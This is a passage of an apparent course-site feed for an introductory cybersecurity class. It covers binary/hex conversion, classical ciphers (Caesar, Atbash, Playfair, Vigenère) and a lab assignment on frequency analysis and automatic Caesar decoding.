&lt;tr&gt;&lt;td&gt;02&lt;/td&gt; &lt;td&gt;   0010&lt;/td&gt; &lt;td&gt;     02&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;03&lt;/td&gt; &lt;td&gt;   0011&lt;/td&gt; &lt;td&gt;     03&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;04&lt;/td&gt; &lt;td&gt;   0100&lt;/td&gt; &lt;td&gt;     04&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;05&lt;/td&gt; &lt;td&gt;   0101&lt;/td&gt; &lt;td&gt;     05&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;06&lt;/td&gt; &lt;td&gt;   0110&lt;/td&gt; &lt;td&gt;     06&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;07&lt;/td&gt; &lt;td&gt;   0111&lt;/td&gt; &lt;td&gt;     07&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;08&lt;/td&gt; &lt;td&gt;   1000&lt;/td&gt; &lt;td&gt;     08&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;09&lt;/td&gt; &lt;td&gt;   1001&lt;/td&gt; &lt;td&gt;     09&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;10&lt;/td&gt; &lt;td&gt;   1010&lt;/td&gt; &lt;td&gt;     0A&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;11&lt;/td&gt; &lt;td&gt;   1011&lt;/td&gt; &lt;td&gt;     0B&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;12&lt;/td&gt; &lt;td&gt;   1100&lt;/td&gt; &lt;td&gt;     0C&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;13&lt;/td&gt; &lt;td&gt;   1101&lt;/td&gt; &lt;td&gt;     0D&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;14&lt;/td&gt; &lt;td&gt;   1110&lt;/td&gt; &lt;td&gt;     0E&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;15&lt;/td&gt; &lt;td&gt;   1111&lt;/td&gt; &lt;td&gt;     0F&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;16&lt;/td&gt; &lt;td&gt;   10000&lt;/td&gt; &lt;td&gt;     10&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;17&lt;/td&gt; &lt;td&gt;   10001&lt;/td&gt; &lt;td&gt;     11&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;…&lt;/td&gt; &lt;td&gt;  …&lt;/td&gt; &lt;td&gt; …&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;727630&lt;/td&gt; &lt;td&gt;   10110001101001001110&lt;/td&gt; &lt;td&gt;  B1A4E&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;h3&gt;You should be able to:&lt;/h3&gt;
&lt;p&gt;Quickly convert 4 digit binary to and from hex&lt;/p&gt;
&lt;p&gt;Quickly convert 4 digit binary to and from decimal&lt;/p&gt;
&lt;p&gt;Convert large binary numbers to and from hex by breaking it into 2 or 4 bit chunks.&lt;/p&gt;
&lt;h3&gt;How to do this quickly/easily?&lt;/h3&gt;
&lt;p&gt;It is much easier to convert from hexadecimal to and from binary instead of using decimal (see next examples)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1010 0111                   A7   (A = 10&lt;sub&gt;10&lt;/sub&gt; = 1010&lt;sub&gt;2&lt;/sub&gt; and  7&lt;sub&gt;10&lt;/sub&gt; = 0111&lt;sub&gt;2&lt;/sub&gt;)
1111 0000 1111              F0F
0100 1011 1111 0010         4BF2
0111 1010 0101 0000 0100    7A504
1011 0001 1010 0100 1110    B1A4E
  &lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;What use is this?&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Viewing a non-text document in hex (xxd command)&lt;/li&gt;
&lt;li&gt;Color Codes&lt;/li&gt;
&lt;li&gt;Mac addresses&lt;/li&gt;
&lt;li&gt;modifying binary files&lt;/li&gt;
&lt;li&gt;etc&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Convert this String: "QzAF"&lt;/h3&gt;
&lt;p&gt;Given Q=81, z=122, A=65, and F=70&lt;/p&gt;
&lt;p&gt;Convert into hex, and into Binary&lt;/p&gt;
&lt;h3&gt;Convert this mac address:&lt;/h3&gt;
&lt;p&gt;00:1A:2B:3C:4D:5E&lt;/p&gt;
&lt;p&gt;To binary, separated by :'s&lt;/p&gt;
&lt;p&gt;To decimal, separated by :'s&lt;/p&gt;
&lt;h3&gt;What can you do in 64k?&lt;/h3&gt;
&lt;p&gt;People try to make really elaborate demos (sound animation and such) in 64 kilobytes.
  Two such demos: &lt;br/&gt;
&lt;a href="https://www.youtube.com/watch?v=yei3mJm33SQ"&gt;https://www.youtube.com/watch?v=yei3mJm33SQ&lt;/a&gt; &lt;br/&gt; and here &lt;a href="https://www.youtube.com/watch?v=mjzeP7hYyNo"&gt;https://www.youtube.com/watch?v=mjzeP7hYyNo&lt;/a&gt; &lt;/p&gt;
&lt;p&gt;&lt;a href="#TOP"&gt;go back to the top of the page&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;</content><link href="https://konstantinnovation.github.io/cyber.html#2025-02-12n"/><published>2025-02-12T12:00:00+00:00</published></entry><entry><id>2025-02-13n</id><title> 2025-02-13 </title><updated>2025-02-13T12:00:00+00:00</updated><content type="html">&lt;div class="contentBlock" id="2025-02-13n"&gt;
&lt;h5&gt; 2025-02-13 &lt;/h5&gt;
&lt;h1&gt; Monoalphabetic Ciphers&lt;/h1&gt;
&lt;p&gt;
  A &lt;strong&gt;monoalphabetic cipher&lt;/strong&gt; is one where each symbol in plain text is mapped to a fixed symbol in cipher text.
  The substitution not depend on the position of the plain text character, there is just
  a one to one mapping based on a single alphabetic key.
&lt;/p&gt;
&lt;p&gt;There are many different monoalphabetic substitution ciphers.&lt;/p&gt;
&lt;p&gt;
  Each letter can be encrypted to any symbol, not just another letter. (See pigpen cipher &lt;a href="https://en.wikipedia.org/wiki/Pigpen_cipher"&gt;https://en.wikipedia.org/wiki/Pigpen_cipher&lt;/a&gt; )
&lt;/p&gt;
&lt;h3&gt;Shift ciphers&lt;/h3&gt;
&lt;p&gt;  The Caesar cipher is a well known cipher where each letter is shifted based on a numeric key&lt;/p&gt;
&lt;p&gt;Rot13 is a Caesar cipher where the key is 13.&lt;/p&gt;
&lt;h3&gt;Atbash&lt;/h3&gt;
&lt;p&gt;The atbash cipher (also called mirror cipher or backwards alphabet or reverse alphabet) is a cipher where you reverse the order of the letters. e.g. change A to Z, B to Y, and so on. &lt;/p&gt;
&lt;h3&gt;Simple Substitution&lt;/h3&gt;
&lt;p&gt;
  Since a shifted alphabet only has 26 possible rotations
  (or double that if you include reversing the order),
  that can be cracked instantly by trying all 26 keys.&lt;/p&gt;
&lt;p&gt;Instead we use more randomized arrangments. There are &lt;code&gt;26!&lt;/code&gt; different substitution arrangements so that is much better for preventing someone from just printing 26 variations of the text and seeing which can be read.&lt;/p&gt;
&lt;p&gt;That is: you can map the original alphabet to any permutation of the alphabet and use that as a key to encrypt/decrypt.&lt;/p&gt;
&lt;h3&gt;Variant keys&lt;/h3&gt;
&lt;p&gt;Rather than a full alphabet mapping as a key You can use a single word as a key (Move those letters to the front of the list):&lt;/p&gt;
&lt;p&gt;Plaintext alphabet  &lt;/p&gt;&lt;pre&gt;ABCDEFGHIJKLMNOPQRSTUVWXYZ&lt;/pre&gt;
&lt;p&gt;Ciphertext alphabet &lt;/p&gt;&lt;pre&gt;ZEBRASCDFGHIJKLMNOPQTUVWXY&lt;/pre&gt;
&lt;h3&gt;Writing out ciphertext&lt;/h3&gt;
&lt;p&gt;Usually the ciphertext is written out in blocks of fixed length, omitting punctuation and spaces to disguise word boundaries from the plaintext.&lt;/p&gt;
&lt;p&gt;It is easy to figure out substitutions when you see word boundaries because there are very few 2-3 letter words to test with trial and error.&lt;/p&gt;
&lt;p&gt;Plaintext: "we are discovered!"&lt;/p&gt;
&lt;p&gt;Ciphertext: "VA ZOA RFPBLUAOAR!"&lt;/p&gt;
&lt;p&gt;To make it more difficult we alter the format:&lt;/p&gt;
&lt;p&gt;Ciphertext  in groups of 5 letters &lt;/p&gt;&lt;pre&gt;VAZOA RFPBL UAOAR&lt;/pre&gt;
&lt;h1 id="2025-02-13h"&gt;Lab01 - Monoalphabetic ciphers&lt;/h1&gt;
&lt;p&gt;Deadline Wed Feb 26 8am&lt;/p&gt;
&lt;h3&gt;Makefile requirements&lt;/h3&gt;
&lt;p&gt;There is no &lt;code&gt; make compile&lt;/code&gt; , your dependencies must be correct. Suppress your commands with &lt;code&gt;@&lt;/code&gt; in the makefile.&lt;/p&gt;
&lt;h3&gt;Part  1.1&lt;/h3&gt;
&lt;p&gt;Write a program that when given source text filename, analyzes letter frequency contained in that file.&lt;/p&gt;
&lt;p&gt;
  Letter frequency should ignore case (both lower and uppercase are counted in the same category/bucket)
  Punctuation/special characters are completely discarded from the calculations.
  The denominator of the frequency should be the total number of letters counted.&lt;/p&gt;
&lt;p&gt;Assume the text uses the English alphabet to simplify our programs.&lt;/p&gt;
&lt;p&gt;Print out each letter and the frequency in the format: (NO SCIENTIFIC NOTATION! Some languages convert small numbers to scientific notation)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;URGENT&lt;/strong&gt;: If a frequency is 0.0, then do not print that letter.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;URGENT&lt;/strong&gt;: When PRINTING please round to 5 decimal places.&lt;/p&gt;
&lt;pre&gt;
A 0.04521
B 0.00231
C 0.00134
D 0.00024
...
X 0.001
Y 0.00051
Z 0.0003
&lt;/pre&gt;
&lt;h4&gt;Implementation requirement:&lt;/h4&gt;
&lt;p&gt;
  You must have a function that takes a big string, and returns a list/array of the 26 frequencies in order[a-z]. This will make later parts easier.
&lt;/p&gt;
&lt;p&gt;&lt;code&gt;int[] freq(String letters)&lt;/code&gt; &lt;/p&gt;
&lt;p&gt;Tou can read the file OUTSIDE of your frequency function and pass in the contents of "alice.txt" as a string&lt;/p&gt;
&lt;p&gt;e.g.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;alice_contents=read("alice.txt");
freq_list = freq(alice_contents);
//freq_list now contains:
//[0.08161939411939412,
//0.01368985743985744,
//0.022275022275022274,
//...
//0.0013736263736263737,
//0.020994208494208494,
//0.0007239382239382239]

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;URGENT&lt;/strong&gt;: When returning the list of frequencies DO NOT ROUND.&lt;/p&gt;
&lt;h3&gt;Test your frequency program&lt;/h3&gt;
&lt;p&gt;Try using it on alice in wonderland: &lt;a href="https://gist.githubusercontent.com/phillipj/4944029/raw/75ba2243dd5ec2875f629bf5d79f6c1e4b5a8b46/alice_in_wonderland.txt"&gt;https://gist.githubusercontent.com/phillipj/4944029/raw/75ba2243dd5ec2875f629bf5d79f6c1e4b5a8b46/alice_in_wonderland.txt&lt;/a&gt; &lt;/p&gt;
&lt;p&gt;You should see percentages like:&lt;/p&gt;
&lt;img alt="alice in wonderland frequencies" loading="lazy" src="img/frequencyUnsorted.png" width="400px"/&gt;
&lt;img alt="alice in wonderland frequencies" loading="lazy" src="img/frequencySorted.png" width="400px"/&gt;
&lt;h3&gt;STOP! Check your 1.1&lt;/h3&gt;
&lt;p&gt;Your lab01 part 1.1 should work like this:&lt;/p&gt;
&lt;pre&gt;$make frequency ARGS="inputFileName"&lt;/pre&gt;
&lt;p&gt;e.g.&lt;/p&gt;
&lt;pre&gt;$make frequency ARGS="alice.txt"&lt;/pre&gt;
&lt;p&gt;This enables a standard interface no matter what langage you use&lt;/p&gt;
&lt;p&gt;You should create &lt;/p&gt;
&lt;h3&gt;Part 1.2&lt;/h3&gt;
&lt;p&gt;Write a program that when given two filenames, calculate the distance between two different sets of letter frequencies of each file.&lt;/p&gt;
&lt;h4&gt;Example 1 (3d point)&lt;/h4&gt;
&lt;img loading="lazy" src="img/DistanceNDimensions.jpg" width="600px"/&gt;
&lt;p&gt;For the example below, we will pretend we only have letters, a,b,c,d.&lt;/p&gt;
&lt;h4&gt;Example 2 (4d point)&lt;/h4&gt;
&lt;p&gt;Given text1 has frequencies [0.2, 0.2, 0.2, 0.2] and text2 has frequencies [0.2, 0.25, 0.06, 0.29]&lt;/p&gt;
&lt;p&gt;The distance is  sqrt ( (.2 - .2) &lt;sup&gt;2&lt;/sup&gt; + (.2 - .25) &lt;sup&gt;2&lt;/sup&gt; + (.2 - .06) &lt;sup&gt;2&lt;/sup&gt; +  (.2 - .29) &lt;sup&gt;2&lt;/sup&gt; )  &lt;/p&gt;
&lt;p&gt;The result of which is sqrt(0.0302), so the distance is: 0.173781&lt;/p&gt;
&lt;h4&gt;Important things to make sure of:&lt;/h4&gt;
&lt;p&gt;Your code should work with arrays of EQUAL size. In the case of our program, size = 26.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Urgent:&lt;/strong&gt; your program should open files HOWEVER, you should not have a distance function take in filenames! &lt;/p&gt;
&lt;p&gt;Your distance function should take the array of frequencies. &lt;strong&gt;This is critical&lt;/strong&gt; as it allows you to read the file once, and re-use the resulting frequency table in multiple distance calculations.&lt;/p&gt;
&lt;p&gt;e.g.&lt;/p&gt;
&lt;p&gt; &lt;code&gt;dist([0.1, 0.2, 0.3, 0.4, 0.0],[0.1, 0.2, 0.3, 0.4, 0.0])&lt;/code&gt; returns 0.0&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Do not do this: &lt;/strong&gt; &lt;code&gt; dist("filename1","filename2")&lt;/code&gt; &lt;strong&gt;Do not do this!&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;STOP! Check your 1.2&lt;/h3&gt;
&lt;p&gt;Your lab01 part 1.2 should work like this:&lt;/p&gt;
&lt;pre&gt;$make distance ARGS="inputFileName1 inputFileName2"&lt;/pre&gt;
&lt;p&gt;e.g.&lt;/p&gt;
&lt;pre&gt;$make distance ARGS="alice.txt other.txt"&lt;/pre&gt;
&lt;h3&gt;Part 1.3&lt;/h3&gt;
&lt;p&gt;Write a program that when given a ciphertext filename, that contains a Caesar ciphered text analyzes letter frequency contained in that file, and deocdes the message automatically. Printing a single decodede message.&lt;/p&gt;
&lt;p&gt;You should ALSO include reversed alphabet and reverse shifted alphabets.&lt;/p&gt;
&lt;p&gt;This will work with sufficiently long ciphertexts, but short messages may not work well.&lt;/p&gt;
&lt;h4&gt;How to do this:&lt;/h4&gt;
&lt;p&gt;Your methodology should be to:  .&lt;/p&gt;
&lt;p&gt;Calculate the english_frequency by using &lt;code&gt;alice.txt&lt;/code&gt; once.&lt;/p&gt;
&lt;p&gt;Calculate the message_frequency of the message once.&lt;/p&gt;
&lt;p&gt;Now find the rotation_number of the message_frequency that is closest to English using your distance function.&lt;/p&gt;
&lt;p&gt;Rotate your message (try forward or back) by that rotation_number and you should have your decoded message.&lt;/p&gt;
&lt;p&gt;To make this work with reversed alphabet ciphers (e.g. a and z are swapped, b and y are swapped.. etc.) you have to try to do the process twice, and see if swapped letters make a smaller minimum distance.&lt;/p&gt;
&lt;strong&gt;Note:&lt;/strong&gt;
&lt;p&gt;Punctuation and spaces are ignored for your frequency calculations, but are kept when decoding.&lt;/p&gt;
&lt;h3&gt;STOP! Check your 1.3&lt;/h3&gt;
&lt;p&gt;Your lab01 part 1.3 should work like this:&lt;/p&gt;
&lt;pre&gt;$make decode ARGS="inputFileName"&lt;/pre&gt;
&lt;p&gt;e.g.&lt;/p&gt;
&lt;pre&gt;$make decode ARGS="message.txt"&lt;/pre&gt;
&lt;p&gt;output:&lt;/p&gt;
&lt;pre&gt;DECODED_MESSAGE_HERE&lt;/pre&gt;
&lt;h3&gt;Sample messages to try to decode:&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Znoy skznuj corr sujole znk gxxge gtj tuz xkzaxt gteznotm. &lt;/li&gt;
&lt;li&gt;Drp Kyv Wfitv Sv Nzky Pfl&lt;/li&gt;
&lt;li&gt;Ftueuemomqemdoubtqdfqjf&lt;/li&gt;
&lt;li&gt;Zlka zovz ka boxobaop sfp zlof alknzop ru 7 qlsbsqzoba. Zlsz ka aydob aoqybo erxkeyahu.&lt;/li&gt;
&lt;li&gt;Jmqi rhybbyw, qdt jxu ibyjxo jelui. Tyt wohu qdt wycrbu yd jxu mqru: Qbb cycio muhu jxu rehewelui, Qdt jxu cecu hqjxi ekjwhqru.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Note: test 4 is atbash + a shift.&lt;/p&gt;
&lt;p&gt;The last one should be: "Twas brillig, and the slithy toves. Did gyre and gimble in the wabe: All mimsy were the borogoves, And the mome raths outgrabe."&lt;/p&gt;
&lt;p&gt;Not all messages will auto decode correctly depending on the text length and letters.&lt;/p&gt;
&lt;p&gt;e.g. "jg upnro xo dla otqgpo" would NOT auto decode to: "ur faycz iz owl zebraz" &lt;/p&gt;
&lt;h3&gt;Repo Link&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://classroom.github.com/a/MVevWx9s"&gt;https://classroom.github.com/a/MVevWx9s&lt;/a&gt; &lt;/p&gt;
&lt;p&gt;&lt;a href="#TOP"&gt;go back to the top of the page&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;</content><link href="https://konstantinnovation.github.io/cyber.html#2025-02-13n"/><published>2025-02-13T12:00:00+00:00</published></entry><entry><id>2025-02-14n</id><title> 2026-02-14 </title><updated>2026-02-14T12:00:00+00:00</updated><content type="html">&lt;div class="contentBlock" id="2025-02-14n"&gt;
&lt;h5&gt; 2026-02-14♥ &lt;/h5&gt;
&lt;p&gt;11/11 (🍫🥢) &amp;gt; 02/14 (❤️) &lt;/p&gt;
&lt;/div&gt;</content><link href="https://konstantinnovation.github.io/cyber.html#2025-02-14n"/><published>2026-02-14T12:00:00+00:00</published></entry><entry><id>2025-02-23n</id><title> 2026-02-23 </title><updated>2026-02-23T12:00:00+00:00</updated><content type="html">&lt;div class="contentBlock" id="2025-02-23n"&gt;
&lt;h5&gt; 2026-02-23 &lt;/h5&gt;
&lt;p&gt;Work on lab. You  have all you need!&lt;/p&gt;
&lt;/div&gt;</content><link href="https://konstantinnovation.github.io/cyber.html#2025-02-23n"/><published>2026-02-23T12:00:00+00:00</published></entry><entry><id>2026-02-25n</id><title> 2026-02-25 </title><updated>2026-02-25T12:00:00+00:00</updated><content type="html">&lt;div class="contentBlock" id="2026-02-25n"&gt;
&lt;h5&gt; 2026-02-25 &lt;/h5&gt;
&lt;h2&gt;Classwork&lt;/h2&gt;
&lt;p&gt;Your frequency analysis should work when piped into other commands.&lt;/p&gt;
&lt;h3&gt;Examples that should work:&lt;/h3&gt;
&lt;p&gt;Print the frequencies of A-E&lt;/p&gt;
&lt;pre&gt;make frequency ARGS="alice.txt" | head -n 5&lt;/pre&gt;
&lt;p&gt;Print the frequencies of W-Z&lt;/p&gt;
&lt;pre&gt;make frequency ARGS="alice.txt" | tail -n 5&lt;/pre&gt;
&lt;h3&gt;Now try this:&lt;/h3&gt;
&lt;p&gt;Use Terminal Commands to sort your frequencies from high to low, and only look at the top 5.&lt;/p&gt;
&lt;h2&gt;Polyalphabetic ciphers&lt;/h2&gt;
&lt;p&gt;
    Multiple monoalphabetic ciphers are used to encrypt
    There are rules to determine when to use each one.
    The result of this is that two letters that are the same in the ciphertext do not have to be the same in plaintext.
  &lt;/p&gt;
&lt;h4&gt;Simple example: &lt;/h4&gt;
&lt;p&gt;Even positioned letters shift up by one. Odd positioned letters shift down by one.&lt;/p&gt;
&lt;p&gt;Plaintext:&lt;/p&gt;
&lt;code&gt;m&lt;strong&gt;e&lt;/strong&gt;&lt;strong&gt;e&lt;/strong&gt;t m&lt;strong&gt;e&lt;/strong&gt; &lt;strong&gt;a&lt;/strong&gt;t the hot dog st&lt;strong&gt;a&lt;/strong&gt;nd&lt;/code&gt;
&lt;p&gt;Ciphertext:&lt;/p&gt;
&lt;code&gt;n&lt;strong&gt;df&lt;/strong&gt;s n&lt;strong&gt;d&lt;/strong&gt; &lt;strong&gt;b&lt;/strong&gt;s ugf gps enh ru&lt;strong&gt;z&lt;/strong&gt;oc&lt;/code&gt;
&lt;p&gt;In this cipher:&lt;/p&gt;
&lt;p&gt; &lt;strong&gt;a&lt;/strong&gt; can be either &lt;strong&gt;b&lt;/strong&gt; or &lt;strong&gt;z&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt; &lt;strong&gt;e&lt;/strong&gt; can be either &lt;strong&gt;d&lt;/strong&gt; or &lt;strong&gt;f&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;Playfair Cipher:&lt;/h3&gt;
&lt;p&gt;This uses a 5x5 table of letters which acts as the key. This means one letter must be omitted, often the I and J are combined, or Q is left out.&lt;/p&gt;
&lt;pre&gt;Example:
    P L A Y F
    I R E X M
    B C D G H
    K N O Q S
    T U V W Z
  &lt;/pre&gt;
&lt;p&gt;The word is then broken up into groups of two letters, and then those pairs are converted into ciphertext using the table.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;If the letters are on the same column, use the letters to their right to replace them. (this can be a variable in the encryption methodology)&lt;/li&gt;
&lt;li&gt;If the letters are on the same row, use the letters below them to replace them. (this can be a variable in the encryption methodology)&lt;/li&gt;
&lt;li&gt;If the letters are different, replace them with the letters on the same row, but in the column of the other letter (it would make a rectangle)&lt;/li&gt;
&lt;li&gt;If the letters are the same, replace the 2nd one with an X (or Q if you removed X) and then encrypt using the prior rules. (The least frequent letter is used for this to make it obvious when decrypting as double letters are much more common than X.)&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The same row/col rules can be customized, so there are sixteen variants. horizontal=up/down/left/right and vertical=up/down/left/right as these are independent choices.&lt;/p&gt;
&lt;p&gt;Let us use this to encrypt a short message:&lt;/p&gt;
&lt;pre&gt;Whitehat&lt;/pre&gt;
&lt;p&gt;Look at pairs of letters:&lt;/p&gt;
&lt;pre&gt;WH IT EH AT&lt;/pre&gt;
&lt;p&gt;Endcrypt rules: vertical goes right, horizontal goes down&lt;/p&gt;
&lt;p&gt;This means Decrypt using the opposite operations. First break up the ciphertext in to pairs: ZG RU MD PV, then run the same rules, except vertical goes left /horizontal goes up.&lt;/p&gt;
&lt;p&gt;
    Imagine the 2 plaintext letters WH are opposite corners of a rectangle,
    that pair of letters will be substituted with the letters in the other
    opposite corners &lt;/p&gt;
&lt;pre&gt;
    P L A Y F
    I R E X M
    B C D G H
    K N O Q S
    T U V W Z
  &lt;/pre&gt;
&lt;p&gt;WH becomes ZG &lt;/p&gt;
&lt;img alt="" src="img/KeyWHtoZG.png" width="100"/&gt;
&lt;p&gt;IT becomes RU (vertical letters use the ones to the right)&lt;/p&gt;
&lt;img alt="" src="img/KeyITtoRU.png" width="100"/&gt;
&lt;p&gt;EH becomes MD&lt;/p&gt;
&lt;img alt="" src="img/KeyEHtoMD.png" width="100"/&gt;
&lt;p&gt;AT becomes PV&lt;/p&gt;
&lt;img alt="" src="img/KeyATtoPV.png" width="100"/&gt;
&lt;p&gt;Result: &lt;/p&gt;
&lt;p&gt;ZGRUMDPV&lt;/p&gt;
&lt;h3&gt;Try to decode:&lt;/h3&gt;
&lt;p&gt;Encode : Same row letters use cell on the right. &lt;/p&gt;
&lt;p&gt;Encode : Same column uses cell below.&lt;/p&gt;
&lt;p&gt;"SIHTHTELMBVIDFSBKOKCWYCZSY"&lt;/p&gt;
&lt;p&gt;using the key: "ABCDEFGHIKLMNOPQRSTUVWXYZ" (no 'J')&lt;/p&gt;
&lt;p&gt;Decode : Same row letters use cell on the left. &lt;/p&gt;
&lt;p&gt;Decode : Same column uses cell above.&lt;/p&gt;
&lt;h3&gt;Frequency:&lt;/h3&gt;
&lt;p&gt;This is plaintext:&lt;/p&gt;
&lt;p&gt; Alice was beginning to get very tired of sitting by her sister on the bank, and of having nothing to do: once or twice she had peeped into the book her sister was reading, but it had no pictures or conversations in it, “and what is the use of a book,” thought Alice “without pictures or conversations?”

So she was considering in her own mind (as well as she could, for the hot day made her feel very sleepy and stupid), whether the pleasure of making a daisy-chain would be worth the trouble of getting up and picking the daisies, when suddenly a White Rabbit with pink eyes ran close by her.

There was nothing so very remarkable in that; nor did Alice think it so very much out of the way to hear the Rabbit say to itself, “Oh dear! Oh dear! I shall be late!” (when she thought it over afterwards, it occurred to her that she ought to have wondered at this, but at the time it all seemed quite natural); but when the Rabbit actually took a watch out of its waistcoat-pocket, and looked at it, and then hurried on, Alice started to her feet, for it flashed across her mind that she had never before seen a rabbit with either a waistcoat-pocket, or a watch to take out of it, and burning with curiosity, she ran across the field after it, and fortunately was just in time to see it pop down a large rabbit-hole under the hedge. &lt;/p&gt;
&lt;p&gt;This is ciphertext:&lt;/p&gt;
&lt;p style="word-wrap:break-word"&gt;  BKHDCYDPCAHJSDSNLIYTJBQYCTEYHSAEKJXNSYSJLIEVJCSTNXYJTMOSJCCBOLDKENGIBUNSILTYIJLIYTENKODAMTRYHDDTJCFCASDYATAENSYTRJACNYKLJCSTNXYJWCDPTCBENSLGYPJSFCISKTHDPYTCTNWHKOYBSTEPJNSXNSJSDKCXFCSJTPJCXPJTKFELKLRJKYHIPENGDAXHRJKYPQHDPYTCTNWHKOYBSTEPJNSXTNRICYDPEMSXNICTNSHJMICTMYONNSEBRXBOKBXDRIADKYNBJKSPJCJMSEEUKCEAJCPHDYBOYBTWQNDYATUESITPAUNICMJYJCSPJCQKABPXTCKJKCNFLIBEDFTXHMDFMXKYNBCAYMSPJRJCPSKYGQJTGHJYSJLIAUDKASHDNFLIRJAEDFXNDTCMDOPXIDEAOMUECMJSCTBCDGRYJSFRNSOAEJTSDKBMNTACWJCTRJCTCYDPOKRJNSIQLYCTWTCOCPPFGQDJOSFCSOMTINEBNGDARJNSNFPTLYCTWOWAJMYPKJRJCYEUYTJCCPRJCTBCDGPTEUYTJSTDKGMJEACPMJEACPNXFCNVQGBOEPCYJCSXJCRJKYHISJYTYBPCJPCTUCSCXNYTDWAWSWTCESMJCTRJEPRIJTVFJRYTFCYBYMSICTAEEPRJNXAVPESYRJJYHNDJPENVNQDYCOAEPVJSDOEPWPBKAVRYJCOSJCPCDVDGPEERAFNVOVYTKLCUEPHMKYYTGJPTUCNXREKEPQMEOAPESIMKKLAEEPJSDKESJCMIWPSHAEKOBKHDDTPESPAEYTJCPHDYJYJKSHPJKBRIAEBDTMXDRICTNHSIRJEPRICJBEODYBQCAJMTDTDYDOCPBCDGRYJSJCJSJCPCUCNXREKEPQMEOAYTPCUCREJRTYFPJTYPKJJSDKECWPSNLIXHRJAWSHNTJSXTJCPCKDHWNTTPJCGJBOEBJPCTJSDKAIMTPYKDYJOVUCTIXPSJOSHNJYNTDYDJPQKTENXMBKCPJBPCDVDGRJKMAYSICTRJCJAEJB&lt;/p&gt;
&lt;p&gt;Here is a useful tool to compare the letter frequencies.  &lt;a href="https://www.101computing.net/frequency-analysis/"&gt;https://www.101computing.net/frequency-analysis/&lt;/a&gt; &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Task:&lt;/strong&gt; Compare the letter frequencies above using this tool.&lt;/p&gt;
&lt;h3&gt;Other Polyalphabetic Ciphers&lt;/h3&gt;
&lt;p&gt;Basic understanding: What does having multiple alphabetic substitutions do to prevent the code from being broken?&lt;/p&gt;
&lt;p&gt;Creative: How could we design a more secure Polyalphabetic cipher?&lt;/p&gt;
&lt;p&gt;Fun fact: encode and decode are not symmetric operations, but encode ten times is the same as not applying any changes. How can we use this property to "decode" using encode.&lt;/p&gt;
&lt;p&gt;&lt;a href="#TOP"&gt;go back to the top of the page&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;</content><link href="https://konstantinnovation.github.io/cyber.html#2026-02-25n"/><published>2026-02-25T12:00:00+00:00</published></entry><entry><id>2025-02-26n</id><title> 2025-02-26</title><updated>2025-02-26T12:00:00+00:00</updated><content type="html">&lt;div class="contentBlock" id="2025-02-26n"&gt;
&lt;h5&gt; 2025-02-26&lt;/h5&gt;
&lt;p&gt;
  The vigenere cipher is a Polyalphabetic cipher that uses 26 different substitution ciphers.
  A string of text key is used to determine which cipher to use.
  The keyword is looped when the message is shorter than the key.
  The below is used for this cipher and is called a tabula recta,
  it is a 26 by 26 grid where each row is shifted one additional time.
&lt;/p&gt;
&lt;img loading="lazy" src="img/tabularecta.jpg" width="500px"/&gt;
&lt;p&gt;Let us pick a key to use and a plaintext to encrypt. You repeat the key to fit the length of the plaintext.&lt;/p&gt;
&lt;p&gt;Plaintext: asimpleexample&lt;/p&gt;
&lt;p&gt;Key: battista&lt;/p&gt;
&lt;code&gt;
  asimpleexample
  battistabattis
&lt;/code&gt;
&lt;p&gt;Align the key with the plaint text. For every pair of letters, the top row of the table is for the key letter, the left column labels are for the plaintext. The location of the intersection is the ciphertext.&lt;/p&gt;
&lt;h4&gt;First letter pair&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;a&lt;/strong&gt;simpleexample&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;b&lt;/strong&gt;attistabattis&lt;/p&gt;
&lt;img loading="lazy" src="img/vigenereFirstLetter.jpg"/&gt;
&lt;h4&gt;Second letter pair&lt;/h4&gt;
&lt;p&gt;a&lt;strong&gt;s&lt;/strong&gt;impleexample&lt;/p&gt;
&lt;p&gt;b&lt;strong&gt;a&lt;/strong&gt;ttistabattis&lt;/p&gt;
